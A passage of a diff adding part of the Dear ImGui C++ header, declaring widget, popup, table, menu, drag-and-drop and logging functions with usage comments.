char* label, bool* v); + IMGUI_API bool CheckboxFlags(const char* label, int* flags, int flags_value); + IMGUI_API bool CheckboxFlags(const char* label, unsigned int* flags, unsigned int flags_value); + IMGUI_API bool RadioButton(const char* label, bool active); // use with e.g. if (RadioButton("one", my_value==1)) { my_value = 1; } + IMGUI_API bool RadioButton(const char* label, int* v, int v_button); // shortcut to handle the above pattern when value is an integer + IMGUI_API void ProgressBar(float fraction, const ImVec2& size_arg = ImVec2(-FLT_MIN, 0), const char* overlay = NULL); + IMGUI_API void Bullet(); // draw a small circle + keep the cursor on the same line. advance cursor x position by GetTreeNodeToLabelSpacing(), same distance that TreeNode() uses + + // Widgets: Combo Box + // - The BeginCombo()/EndCombo() api allows you to manage your contents and selection state however you want it, by creating e.g. Selectable() items. + // - The old Combo() api are helpers over BeginCombo()/EndCombo() which are kept available for convenience purpose. + IMGUI_API bool BeginCombo(const char* label, const char* preview_value, ImGuiComboFlags flags = 0); + IMGUI_API void EndCombo(); // only call EndCombo() if BeginCombo() returns true! + IMGUI_API bool Combo(const char* label, int* current_item, const char* const items[], int items_count, int popup_max_height_in_items = -1); + IMGUI_API bool Combo(const char* label, int* current_item, const char* items_separated_by_zeros, int popup_max_height_in_items = -1); // Separate items with \0 within a string, end item-list with \0\0. e.g. "One\0Two\0Three\0" + IMGUI_API bool Combo(const char* label, int* current_item, bool(*items_getter)(void* data, int idx, const char** out_text), void* data, int items_count, int popup_max_height_in_items = -1); + + // Widgets: Drag Sliders + // - CTRL+Click on any drag box to turn them into an input box. Manually input values aren't clamped and can go off-bounds. + // - For all the Float2/Float3/Float4/Int2/Int3/Int4 versions of every functions, note that a 'float v[X]' function argument is the same as 'float* v', the array syntax is just a way to document the number of elements that are expected to be accessible. You can pass address of your first element out of a contiguous set, e.g. &myvector.x + // - Adjust format string to decorate the value with a prefix, a suffix, or adapt the editing and display precision e.g. "%.3f" -> 1.234; "%5.2f secs" -> 01.23 secs; "Biscuit: %.0f" -> Biscuit: 1; etc. + // - Format string may also be set to NULL or use the default format ("%f" or "%d"). + // - Speed are per-pixel of mouse movement (v_speed=0.2f: mouse needs to move by 5 pixels to increase value by 1). For gamepad/keyboard navigation, minimum speed is Max(v_speed, minimum_step_at_given_precision). + // - Use v_min < v_max to clamp edits to given limits. Note that CTRL+Click manual input can override those limits. + // - Use v_max = FLT_MAX / INT_MAX etc to avoid clamping to a maximum, same with v_min = -FLT_MAX / INT_MIN to avoid clamping to a minimum. + // - We use the same sets of flags for DragXXX() and SliderXXX() functions as the features are the same and it makes it easier to swap them. + // - Legacy: Pre-1.78 there are DragXXX() function signatures that takes a final `float power=1.0f' argument instead of the `ImGuiSliderFlags flags=0' argument. + // If you get a warning converting a float to ImGuiSliderFlags, read https://github.com/ocornut/imgui/issues/3361 + IMGUI_API bool DragFloat(const char* label, float* v, float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); // If v_min >= v_max we have no bound + IMGUI_API bool DragFloat2(const char* label, float v[2], float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool DragFloat3(const char* label, float v[3], float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool DragFloat4(const char* label, float v[4], float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool DragFloatRange2(const char* label, float* v_current_min, float* v_current_max, float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", const char* format_max = NULL, ImGuiSliderFlags flags = 0); + IMGUI_API bool DragInt(const char* label, int* v, float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); // If v_min >= v_max we have no bound + IMGUI_API bool DragInt2(const char* label, int v[2], float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool DragInt3(const char* label, int v[3], float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool DragInt4(const char* label, int v[4], float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool DragIntRange2(const char* label, int* v_current_min, int* v_current_max, float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", const char* format_max = NULL, ImGuiSliderFlags flags = 0); + IMGUI_API bool DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min = NULL, const void* p_max = NULL, const char* format = NULL, ImGuiSliderFlags flags = 0); + IMGUI_API bool DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min = NULL, const void* p_max = NULL, const char* format = NULL, ImGuiSliderFlags flags = 0); + + // Widgets: Regular Sliders + // - CTRL+Click on any slider to turn them into an input box. Manually input values aren't clamped and can go off-bounds. + // - Adjust format string to decorate the value with a prefix, a suffix, or adapt the editing and display precision e.g. "%.3f" -> 1.234; "%5.2f secs" -> 01.23 secs; "Biscuit: %.0f" -> Biscuit: 1; etc. + // - Format string may also be set to NULL or use the default format ("%f" or "%d"). + // - Legacy: Pre-1.78 there are SliderXXX() function signatures that takes a final `float power=1.0f' argument instead of the `ImGuiSliderFlags flags=0' argument. + // If you get a warning converting a float to ImGuiSliderFlags, read https://github.com/ocornut/imgui/issues/3361 + IMGUI_API bool SliderFloat(const char* label, float* v, float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); // adjust format to decorate the value with a prefix or a suffix for in-slider labels or unit display. + IMGUI_API bool SliderFloat2(const char* label, float v[2], float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderFloat3(const char* label, float v[3], float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderFloat4(const char* label, float v[4], float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderAngle(const char* label, float* v_rad, float v_degrees_min = -360.0f, float v_degrees_max = +360.0f, const char* format = "%.0f deg", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderInt(const char* label, int* v, int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderInt2(const char* label, int v[2], int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderInt3(const char* label, int v[3], int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderInt4(const char* label, int v[4], int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format = NULL, ImGuiSliderFlags flags = 0); + IMGUI_API bool SliderScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_min, const void* p_max, const char* format = NULL, ImGuiSliderFlags flags = 0); + IMGUI_API bool VSliderFloat(const char* label, const ImVec2& size, float* v, float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); + IMGUI_API bool VSliderInt(const char* label, const ImVec2& size, int* v, int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); + IMGUI_API bool VSliderScalar(const char* label, const ImVec2& size, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format = NULL, ImGuiSliderFlags flags = 0); + + // Widgets: Input with Keyboard + // - If you want to use InputText() with std::string or any custom dynamic string type, see misc/cpp/imgui_stdlib.h and comments in imgui_demo.cpp. + // - Most of the ImGuiInputTextFlags flags are only useful for InputText() and not for InputFloatX, InputIntX, InputDouble etc. + IMGUI_API bool InputText(const char* label, char* buf, size_t buf_size, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); + IMGUI_API bool InputTextMultiline(const char* label, char* buf, size_t buf_size, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); + IMGUI_API bool InputTextWithHint(const char* label, const char* hint, char* buf, size_t buf_size, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); + IMGUI_API bool InputFloat(const char* label, float* v, float step = 0.0f, float step_fast = 0.0f, const char* format = "%.3f", ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputFloat2(const char* label, float v[2], const char* format = "%.3f", ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputFloat3(const char* label, float v[3], const char* format = "%.3f", ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputFloat4(const char* label, float v[4], const char* format = "%.3f", ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputInt(const char* label, int* v, int step = 1, int step_fast = 100, ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputInt2(const char* label, int v[2], ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputInt3(const char* label, int v[3], ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputInt4(const char* label, int v[4], ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputDouble(const char* label, double* v, double step = 0.0, double step_fast = 0.0, const char* format = "%.6f", ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_step = NULL, const void* p_step_fast = NULL, const char* format = NULL, ImGuiInputTextFlags flags = 0); + IMGUI_API bool InputScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_step = NULL, const void* p_step_fast = NULL, const char* format = NULL, ImGuiInputTextFlags flags = 0); + + // Widgets: Color Editor/Picker (tip: the ColorEdit* functions have a little color square that can be left-clicked to open a picker, and right-clicked to open an option menu.) + // - Note that in C++ a 'float v[X]' function argument is the _same_ as 'float* v', the array syntax is just a way to document the number of elements that are expected to be accessible. + // - You can pass the address of a first float element out of a contiguous structure, e.g. &myvector.x + IMGUI_API bool ColorEdit3(const char* label, float col[3], ImGuiColorEditFlags flags = 0); + IMGUI_API bool ColorEdit4(const char* label, float col[4], ImGuiColorEditFlags flags = 0); + IMGUI_API bool ColorPicker3(const char* label, float col[3], ImGuiColorEditFlags flags = 0); + IMGUI_API bool ColorPicker4(const char* label, float col[4], ImGuiColorEditFlags flags = 0, const float* ref_col = NULL); + IMGUI_API bool ColorButton(const char* desc_id, const ImVec4& col, ImGuiColorEditFlags flags = 0, ImVec2 size = ImVec2(0, 0)); // display a color square/button, hover for details, return true when pressed. + IMGUI_API void SetColorEditOptions(ImGuiColorEditFlags flags); // initialize current options (generally on application startup) if you want to select a default format, picker type, etc. User will be able to change many settings, unless you pass the _NoOptions flag to your calls. + + // Widgets: Trees + // - TreeNode functions return true when the node is open, in which case you need to also call TreePop() when you are finished displaying the tree node contents. + IMGUI_API bool TreeNode(const char* label); + IMGUI_API bool TreeNode(const char* str_id, const char* fmt, ...) IM_FMTARGS(2); // helper variation to easily decorelate the id from the displayed string. Read the FAQ about why and how to use ID. to align arbitrary text at the same level as a TreeNode() you can use Bullet(). + IMGUI_API bool TreeNode(const void* ptr_id, const char* fmt, ...) IM_FMTARGS(2); // " + IMGUI_API bool TreeNodeV(const char* str_id, const char* fmt, va_list args) IM_FMTLIST(2); + IMGUI_API bool TreeNodeV(const void* ptr_id, const char* fmt, va_list args) IM_FMTLIST(2); + IMGUI_API bool TreeNodeEx(const char* label, ImGuiTreeNodeFlags flags = 0); + IMGUI_API bool TreeNodeEx(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) IM_FMTARGS(3); + IMGUI_API bool TreeNodeEx(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) IM_FMTARGS(3); + IMGUI_API bool TreeNodeExV(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) IM_FMTLIST(3); + IMGUI_API bool TreeNodeExV(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) IM_FMTLIST(3); + IMGUI_API void TreePush(const char* str_id); // ~ Indent()+PushId(). Already called by TreeNode() when returning true, but you can call TreePush/TreePop yourself if desired. + IMGUI_API void TreePush(const void* ptr_id = NULL); // " + IMGUI_API void TreePop(); // ~ Unindent()+PopId() + IMGUI_API float GetTreeNodeToLabelSpacing(); // horizontal distance preceding label when using TreeNode*() or Bullet() == (g.FontSize + style.FramePadding.x*2) for a regular unframed TreeNode + IMGUI_API bool CollapsingHeader(const char* label, ImGuiTreeNodeFlags flags = 0); // if returning 'true' the header is open. doesn't indent nor push on ID stack. user doesn't have to call TreePop(). + IMGUI_API bool CollapsingHeader(const char* label, bool* p_open, ImGuiTreeNodeFlags flags = 0); // when 'p_open' isn't NULL, display an additional small close button on upper right of the header + IMGUI_API void SetNextItemOpen(bool is_open, ImGuiCond cond = 0); // set next TreeNode/CollapsingHeader open state. + + // Widgets: Selectables + // - A selectable highlights when hovered, and can display another color when selected. + // - Neighbors selectable extend their highlight bounds in order to leave no gap between them. This is so a series of selected Selectable appear contiguous. + IMGUI_API bool Selectable(const char* label, bool selected = false, ImGuiSelectableFlags flags = 0, const ImVec2& size = ImVec2(0, 0)); // "bool selected" carry the selection state (read-only). Selectable() is clicked is returns true so you can modify your selection state. size.x==0.0: use remaining width, size.x>0.0: specify width. size.y==0.0: use label height, size.y>0.0: specify height + IMGUI_API bool Selectable(const char* label, bool* p_selected, ImGuiSelectableFlags flags = 0, const ImVec2& size = ImVec2(0, 0)); // "bool* p_selected" point to the selection state (read-write), as a convenient helper. + + // Widgets: List Boxes + // - FIXME: To be consistent with all the newer API, ListBoxHeader/ListBoxFooter should in reality be called BeginListBox/EndListBox. Will rename them. + IMGUI_API bool ListBox(const char* label, int* current_item, const char* const items[], int items_count, int height_in_items = -1); + IMGUI_API bool ListBox(const char* label, int* current_item, bool (*items_getter)(void* data, int idx, const char** out_text), void* data, int items_count, int height_in_items = -1); + IMGUI_API bool ListBoxHeader(const char* label, const ImVec2& size = ImVec2(0, 0)); // use if you want to reimplement ListBox() will custom data or interactions. if the function return true, you can output elements then call ListBoxFooter() afterwards. + IMGUI_API bool ListBoxHeader(const char* label, int items_count, int height_in_items = -1); // " + IMGUI_API void ListBoxFooter(); // terminate the scrolling region. only call ListBoxFooter() if ListBoxHeader() returned true! + + // Widgets: Data Plotting + IMGUI_API void PlotLines(const char* label, const float* values, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0), int stride = sizeof(float)); + IMGUI_API void PlotLines(const char* label, float(*values_getter)(void* data, int idx), void* data, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0)); + IMGUI_API void PlotHistogram(const char* label, const float* values, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0), int stride = sizeof(float)); + IMGUI_API void PlotHistogram(const char* label, float(*values_getter)(void* data, int idx), void* data, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0)); + + // Widgets: Value() Helpers. + // - Those are merely shortcut to calling Text() with a format string. Output single value in "name: value" format (tip: freely declare more in your code to handle your types. you can add functions to the ImGui namespace) + IMGUI_API void Value(const char* prefix, bool b); + IMGUI_API void Value(const char* prefix, int v); + IMGUI_API void Value(const char* prefix, unsigned int v); + IMGUI_API void Value(const char* prefix, float v, const char* float_format = NULL); + + // Widgets: Menus + // - Use BeginMenuBar() on a window ImGuiWindowFlags_MenuBar to append to its menu bar. + // - Use BeginMainMenuBar() to create a menu bar at the top of the screen and append to it. + // - Use BeginMenu() to create a menu. You can call BeginMenu() multiple time with the same identifier to append more items to it. + IMGUI_API bool BeginMenuBar(); // append to menu-bar of current window (requires ImGuiWindowFlags_MenuBar flag set on parent window). + IMGUI_API void EndMenuBar(); // only call EndMenuBar() if BeginMenuBar() returns true! + IMGUI_API bool BeginMainMenuBar(); // create and append to a full screen menu-bar. + IMGUI_API void EndMainMenuBar(); // only call EndMainMenuBar() if BeginMainMenuBar() returns true! + IMGUI_API bool BeginMenu(const char* label, bool enabled = true); // create a sub-menu entry. only call EndMenu() if this returns true! + IMGUI_API void EndMenu(); // only call EndMenu() if BeginMenu() returns true! + IMGUI_API bool MenuItem(const char* label, const char* shortcut = NULL, bool selected = false, bool enabled = true); // return true when activated. shortcuts are displayed for convenience but not processed by ImGui at the moment + IMGUI_API bool MenuItem(const char* label, const char* shortcut, bool* p_selected, bool enabled = true); // return true when activated + toggle (*p_selected) if p_selected != NULL + + // Tooltips + // - Tooltip are windows following the mouse. They do not take focus away. + IMGUI_API void BeginTooltip(); // begin/append a tooltip window. to create full-featured tooltip (with any kind of items). + IMGUI_API void EndTooltip(); + IMGUI_API void SetTooltip(const char* fmt, ...) IM_FMTARGS(1); // set a text-only tooltip, typically use with ImGui::IsItemHovered(). override any previous call to SetTooltip(). + IMGUI_API void SetTooltipV(const char* fmt, va_list args) IM_FMTLIST(1); + + // Popups, Modals + // - They block normal mouse hovering detection (and therefore most mouse interactions) behind them. + // - If not modal: they can be closed by clicking anywhere outside them, or by pressing ESCAPE. + // - Their visibility state (~bool) is held internally instead of being held by the programmer as we are used to with regular Begin*() calls. + // - The 3 properties above are related: we need to retain popup visibility state in the library because popups may be closed as any time. + // - You can bypass the hovering restriction by using ImGuiHoveredFlags_AllowWhenBlockedByPopup when calling IsItemHovered() or IsWindowHovered(). + // - IMPORTANT: Popup identifiers are relative to the current ID stack, so OpenPopup and BeginPopup generally needs to be at the same level of the stack. + // This is sometimes leading to confusing mistakes. May rework this in the future. + // Popups: begin/end functions + // - BeginPopup(): query popup state, if open start appending into the window. Call EndPopup() afterwards. ImGuiWindowFlags are forwarded to the window. + // - BeginPopupModal(): block every interactions behind the window, cannot be closed by user, add a dimming background, has a title bar. + IMGUI_API bool BeginPopup(const char* str_id, ImGuiWindowFlags flags = 0); // return true if the popup is open, and you can start outputting to it. + IMGUI_API bool BeginPopupModal(const char* name, bool* p_open = NULL, ImGuiWindowFlags flags = 0); // return true if the modal is open, and you can start outputting to it. + IMGUI_API void EndPopup(); // only call EndPopup() if BeginPopupXXX() returns true! + // Popups: open/close functions + // - OpenPopup(): set popup state to open. ImGuiPopupFlags are available for opening options. + // - If not modal: they can be closed by clicking anywhere outside them, or by pressing ESCAPE. + // - CloseCurrentPopup(): use inside the BeginPopup()/EndPopup() scope to close manually. + // - CloseCurrentPopup() is called by default by Selectable()/MenuItem() when activated (FIXME: need some options). + // - Use ImGuiPopupFlags_NoOpenOverExistingPopup to avoid opening a popup if there's already one at the same level. This is equivalent to e.g. testing for !IsAnyPopupOpen() prior to OpenPopup(). + IMGUI_API void OpenPopup(const char* str_id, ImGuiPopupFlags popup_flags = 0); // call to mark popup as open (don't call every frame!). + IMGUI_API void OpenPopupOnItemClick(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1); // helper to open popup when clicked on last item. return true when just opened. (note: actually triggers on the mouse _released_ event to be consistent with popup behaviors) + IMGUI_API void CloseCurrentPopup(); // manually close the popup we have begin-ed into. + // Popups: open+begin combined functions helpers + // - Helpers to do OpenPopup+BeginPopup where the Open action is triggered by e.g. hovering an item and right-clicking. + // - They are convenient to easily create context menus, hence the name. + // - IMPORTANT: Notice that BeginPopupContextXXX takes ImGuiPopupFlags just like OpenPopup() and unlike BeginPopup(). For full consistency, we may add ImGuiWindowFlags to the BeginPopupContextXXX functions in the future. + // - IMPORTANT: we exceptionally default their flags to 1 (== ImGuiPopupFlags_MouseButtonRight) for backward compatibility with older API taking 'int mouse_button = 1' parameter, so if you add other flags remember to re-add the ImGuiPopupFlags_MouseButtonRight. + IMGUI_API bool BeginPopupContextItem(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1); // open+begin popup when clicked on last item. if you can pass a NULL str_id only if the previous item had an id. If you want to use that on a non-interactive item such as Text() you need to pass in an explicit ID here. read comments in .cpp! + IMGUI_API bool BeginPopupContextWindow(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1);// open+begin popup when clicked on current window. + IMGUI_API bool BeginPopupContextVoid(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1); // open+begin popup when clicked in void (where there are no windows). + // Popups: test function + // - IsPopupOpen(): return true if the popup is open at the current BeginPopup() level of the popup stack. + // - IsPopupOpen() with ImGuiPopupFlags_AnyPopupId: return true if any popup is open at the current BeginPopup() level of the popup stack. + // - IsPopupOpen() with ImGuiPopupFlags_AnyPopupId + ImGuiPopupFlags_AnyPopupLevel: return true if any popup is open. + IMGUI_API bool IsPopupOpen(const char* str_id, ImGuiPopupFlags flags = 0); // return true if the popup is open. + + // Tables + // [BETA API] API may evolve! + // - Full-featured replacement for old Columns API. + // - See Demo->Tables for details. + // - See ImGuiTableFlags_ and ImGuiTableColumnFlags_ enums for a description of available flags. + // The typical call flow is: + // - 1. Call BeginTable() + // - 2. Optionally call TableSetupColumn() to submit column name/flags/defaults + // - 3. Optionally call TableSetupScrollFreeze() to request scroll freezing of columns/rows + // - 4. Optionally call TableHeadersRow() to submit a header row. Names will be pulled from data provided TableSetupColumn() calls) + // - 5. Populate contents + // - In most situations you can use TableNextRow() + TableSetColumnIndex(N) to start appending into a column. + // - If you are using tables as a sort of grid, where every columns is holding the same type of contents, + // you may prefer using TableNextColumn() instead of TableNextRow() + TableSetColumnIndex(). + // TableNextColumn() will automatically wrap-around into the next row if needed. + // - IMPORTANT: Comparatively to the old Columns() API, we need to call TableNextColumn() for the first column! + // - Both TableSetColumnIndex() and TableNextColumn() return true when the column is visible or performing + // width measurements. Otherwise, you may skip submitting the contents of a cell/column, BUT ONLY if you know + // it is not going to contribute to row height. + // In many situations, you may skip submitting contents for every columns but one (e.g. the first one). + // - Summary of possible call flow: + // ---------------------------------------------------------------------------------------------------------- + // TableNextRow() -> TableSetColumnIndex(0) -> Text("Hello 0") -> TableSetColumnIndex(1) -> Text("Hello 1") // OK + // TableNextRow() -> TableNextColumn() -> Text("Hello 0") -> TableNextColumn() -> Text("Hello 1") // OK + // TableNextColumn() -> Text("Hello 0") -> TableNextColumn() -> Text("Hello 1") // OK: TableNextColumn() automatically gets to next row! + // TableNextRow() -> Text("Hello 0") // Not OK! Missing TableSetColumnIndex() or TableNextColumn()! Text will not appear! + // ---------------------------------------------------------------------------------------------------------- + // - 5. Call EndTable() + IMGUI_API bool BeginTable(const char* str_id, int columns_count, ImGuiTableFlags flags = 0, const ImVec2& outer_size = ImVec2(-FLT_MIN, 0), float inner_width = 0.0f); + IMGUI_API void EndTable(); // only call EndTable() if BeginTable() returns true! + IMGUI_API void TableNextRow(ImGuiTableRowFlags row_flags = 0, float min_row_height = 0.0f); // append into the first cell of a new row. + IMGUI_API bool TableNextColumn(); // append into the next column (or first column of next row if currently in last column). Return true when column is visible. + IMGUI_API bool TableSetColumnIndex(int column_n); // append into the specified column. Return true when column is visible. + IMGUI_API int TableGetColumnIndex(); // return current column index. + IMGUI_API int TableGetRowIndex(); // return current row index. + // Tables: Headers & Columns declaration + // - Use TableSetupColumn() to specify label, resizing policy, default width/weight, id, various other flags etc. + // Important: this will not display anything! The name passed to TableSetupColumn() is used by TableHeadersRow() and context-menus. + // - Use TableHeadersRow() to create a row and automatically submit a TableHeader() for each column. + // Headers are required to perform: reordering, sorting, and opening the context menu (but context menu can also be available in columns body using ImGuiTableFlags_ContextMenuInBody). + // - You may manually submit headers using TableNextRow() + TableHeader() calls, but this is only useful in some advanced cases (e.g. adding custom widgets in header row). + // - Use TableSetupScrollFreeze() to lock columns (from the right) or rows (from the top) so they stay visible when scrolled. + IMGUI_API void TableSetupColumn(const char* label, ImGuiTableColumnFlags flags = 0, float init_width_or_weight = -1.0f, ImU32 user_id = 0); + IMGUI_API void TableSetupScrollFreeze(int cols, int rows); // lock columns/rows so they stay visible when scrolled. + IMGUI_API void TableHeadersRow(); // submit all headers cells based on data provided to TableSetupColumn() + submit context menu + IMGUI_API void TableHeader(const char* label); // submit one header cell manually (rarely used) + // Tables: Miscellaneous functions + // - Most functions taking 'int column_n' treat the default value of -1 as the same as passing the current column index + // - Sorting: call TableGetSortSpecs() to retrieve latest sort specs for the table. Return value will be NULL if no sorting. + // When 'SpecsDirty == true' you should sort your data. It will be true when sorting specs have changed since last call, or the first time. + // Make sure to set 'SpecsDirty = false' after sorting, else you may wastefully sort your data every frame! + // Lifetime: don't hold on this pointer over multiple frames or past any subsequent call to BeginTable(). + IMGUI_API int TableGetColumnCount(); // return number of columns (value passed to BeginTable) + IMGUI_API const char* TableGetColumnName(int column_n = -1); // return "" if column didn't have a name declared by TableSetupColumn(). Pass -1 to use current column. + IMGUI_API ImGuiTableColumnFlags TableGetColumnFlags(int column_n = -1); // return column flags so you can query their Enabled/Visible/Sorted/Hovered status flags. + IMGUI_API ImGuiTableSortSpecs* TableGetSortSpecs(); // get latest sort specs for the table (NULL if not sorting). + IMGUI_API void TableSetBgColor(ImGuiTableBgTarget bg_target, ImU32 color, int column_n = -1); // change the color of a cell, row, or column. See ImGuiTableBgTarget_ flags for details. + + // Legacy Columns API (2020: prefer using Tables!) + // - You can also use SameLine(pos_x) to mimic simplified columns. + IMGUI_API void Columns(int count = 1, const char* id = NULL, bool border = true); + IMGUI_API void NextColumn(); // next column, defaults to current row or next row if the current row is finished + IMGUI_API int GetColumnIndex(); // get current column index + IMGUI_API float GetColumnWidth(int column_index = -1); // get column width (in pixels). pass -1 to use current column + IMGUI_API void SetColumnWidth(int column_index, float width); // set column width (in pixels). pass -1 to use current column + IMGUI_API float GetColumnOffset(int column_index = -1); // get position of column line (in pixels, from the left side of the contents region). pass -1 to use current column, otherwise 0..GetColumnsCount() inclusive. column 0 is typically 0.0f + IMGUI_API void SetColumnOffset(int column_index, float offset_x); // set position of column line (in pixels, from the left side of the contents region). pass -1 to use current column + IMGUI_API int GetColumnsCount(); + + // Tab Bars, Tabs + IMGUI_API bool BeginTabBar(const char* str_id, ImGuiTabBarFlags flags = 0); // create and append into a TabBar + IMGUI_API void EndTabBar(); // only call EndTabBar() if BeginTabBar() returns true! + IMGUI_API bool BeginTabItem(const char* label, bool* p_open = NULL, ImGuiTabItemFlags flags = 0); // create a Tab. Returns true if the Tab is selected. + IMGUI_API void EndTabItem(); // only call EndTabItem() if BeginTabItem() returns true! + IMGUI_API bool TabItemButton(const char* label, ImGuiTabItemFlags flags = 0); // create a Tab behaving like a button. return true when clicked. cannot be selected in the tab bar. + IMGUI_API void SetTabItemClosed(const char* tab_or_docked_window_label); // notify TabBar or Docking system of a closed tab/window ahead (useful to reduce visual flicker on reorderable tab bars). For tab-bar: call after BeginTabBar() and before Tab submissions. Otherwise call with a window name. + + // Logging/Capture + // - All text output from the interface can be captured into tty/file/clipboard. By default, tree nodes are automatically opened during logging. + IMGUI_API void LogToTTY(int auto_open_depth = -1); // start logging to tty (stdout) + IMGUI_API void LogToFile(int auto_open_depth = -1, const char* filename = NULL); // start logging to file + IMGUI_API void LogToClipboard(int auto_open_depth = -1); // start logging to OS clipboard + IMGUI_API void LogFinish(); // stop logging (close file, etc.) + IMGUI_API void LogButtons(); // helper to display buttons for logging to tty/file/clipboard + IMGUI_API void LogText(const char* fmt, ...) IM_FMTARGS(1); // pass text data straight to log (without being displayed) + + // Drag and Drop + // - If you stop calling BeginDragDropSource() the payload is preserved however it won't have a preview tooltip (we currently display a fallback "..." tooltip as replacement) + IMGUI_API bool BeginDragDropSource(ImGuiDragDropFlags flags = 0); // call when the current item is active. If this return true, you can call SetDragDropPayload() + EndDragDropSource() + IMGUI_API bool SetDragDropPayload(const char* type, const void* data, size_t sz, ImGuiCond cond = 0); // type is a user defined string of maximum 32 characters. Strings starting with '_' are reserved for dear imgui internal types. Data is copied and held by imgui. + IMGUI_API void EndDragDropSource(); // only call EndDragDropSource() if BeginDragDropSource() returns true! + IMGUI_API bool BeginDragDropTarget(); // call after submitting an item that may receive a payload. If this returns true, you can call AcceptDragDropPayload() + EndDragDropTarget() + IMGUI_API const ImGuiPayload* AcceptDragDropPayload(const char* type, ImGuiDragDropFlags flags = 0); // accept contents of a given type. If ImGuiDragDropFlags_AcceptBeforeDelivery is set you can peek into the payload before the mouse button is released. + IMGUI_API void EndDragDropTarget(); // only call EndDragDropTarget() if BeginDragDropTarget() returns true! + IMGUI_API const ImGuiPayload* GetDragDropPayload(); // peek directly into the current payload from anywhere. may return NULL. use ImGuiPayload::IsDataType() to test for the payload type. + + // Clipping + // - Mouse hovering is affected by ImGui::PushClipRect() calls, unlike direct calls to ImDrawList::PushClipRect() which are render only. + IMGUI_API void PushClipRect(const ImVec2& clip_rect_min, const ImVec2& clip_rect_max, bool intersect_with_current_clip_rect); + IMGUI_API void PopClipRect(); + + // Focus, Activation + // - Prefer using "SetItemDefaultFocus()" over "if (IsWindowAppearing()) SetScrollHereY()" when applicable to signify "this is the default item" + IMGUI_API void SetItemDefaultFocus(); // make last item the default focused item of a window. + IMGUI_API void SetKeyboardFocusHere(int offset = 0); // focus keyboard on the next widget. Use positive 'offset' to access sub components of a multiple component widget. Use -1 to access previous widget. + + // Item/Widgets Utilities + // - Most of the functions are referring to the last/previous item we submitted. + // - See Demo Window under "Widgets->Querying Status" for an interactive visualization of most of those functions. + IMGUI_API bool IsItemHovered(ImGuiHoveredFlags flags = 0); // is the last item hovered? (and usable, aka not blocked by a popup, etc.). See 